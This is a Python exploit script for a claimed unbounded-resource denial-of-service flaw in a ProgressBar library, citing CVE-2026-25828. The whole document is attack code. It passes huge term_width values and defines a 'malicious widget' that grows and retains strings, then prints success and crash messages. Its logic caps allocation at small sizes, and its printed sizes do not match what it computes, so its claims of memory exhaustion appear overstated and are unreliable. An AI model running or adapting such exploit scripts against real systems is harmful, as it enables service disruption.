#!/usr/bin/env python3 """ Exploit Title: ProgressBar 2 4.5.0 - Unbounded Resource Consumption Denial of Service (DoS) The ProgressBar library for Python (version 2 4.5.0 ) contains multiple unbounded resource consumption vulnerabilities that allow a local attacker to cause a Denial of Service (DoS). By providing overly large values for parameters such as term_width or maxval, or by using a custom widget that returns an excessively long string, an attacker can force the library to allocate massive amounts of memory or perform CPU-intensive calculations, leading to a process crash or system unresponsiveness. Tested on: Linux, Windows (Python 3.x) CVE: CVE-2026-25828 """ import sys import os import time # Add current directory to path to import the module sys.path.insert(0, os.path.dirname(__file__)) try: from progressbar import ProgressBar from widgets import Percentage, ETA, Bar print("[*] ProgressBar 2 4.5.0 DoS Exploit") print("-" * 50) # Attack Vector 1: Memory exhaustion via term_width print("[1] Memory exhaustion via term_width=999999") pbar1 = ProgressBar(maxval=100, term_width=999999) pbar1.start() for i in range(5): pbar1.update((i + 1) * 20) print(f"Update {i+1} - Allocating ~1MB string") time.sleep(0.5) pbar1.finish() print("[SUCCESS] Memory consumption forced") # Attack Vector 2: Malicious widget with growing strings print("\n[2] Malicious widget with exponential string growth") from progressbar import widgets class DoSWidget(widgets.Widget): def __init__(self): self.size = 1000 self.stored_strings = [] # Prevent garbage collection def update(self, pbar): # Double string size each time (up to 100KB) self.size = min(self.size * 2, 100000) huge_string = "A" * self.size self.stored_strings.append(huge_string) # Keep reference return f"[{len(huge_string)} bytes]" pbar2 = ProgressBar( maxval=15, widgets=[DoSWidget(), ' ', widgets.Bar()] ) pbar2.start() for i in range(15): pbar2.update(i + 1) print(f"Update {i+1} - String size: {1000 * (2 ** min(i, 7))} bytes") time.sleep(0.3) pbar2.finish() print("[SUCCESS] Progressive memory allocation demonstrated") print("\n[+] Exploit completed - Vulnerabilities confirmed") print("System may experience memory exhaustion or crash") except MemoryError: print("\n[!] CRASH: System out of memory!") sys.exit(137) except ImportError as e: print(f"\n[!] Error: {e}") print("Make sure progressbar files are in the current directory") sys.exit(1) except Exception as e: print(f"\n[!] Unexpected error: {type(e).__name__}: {e}") sys.exit(1)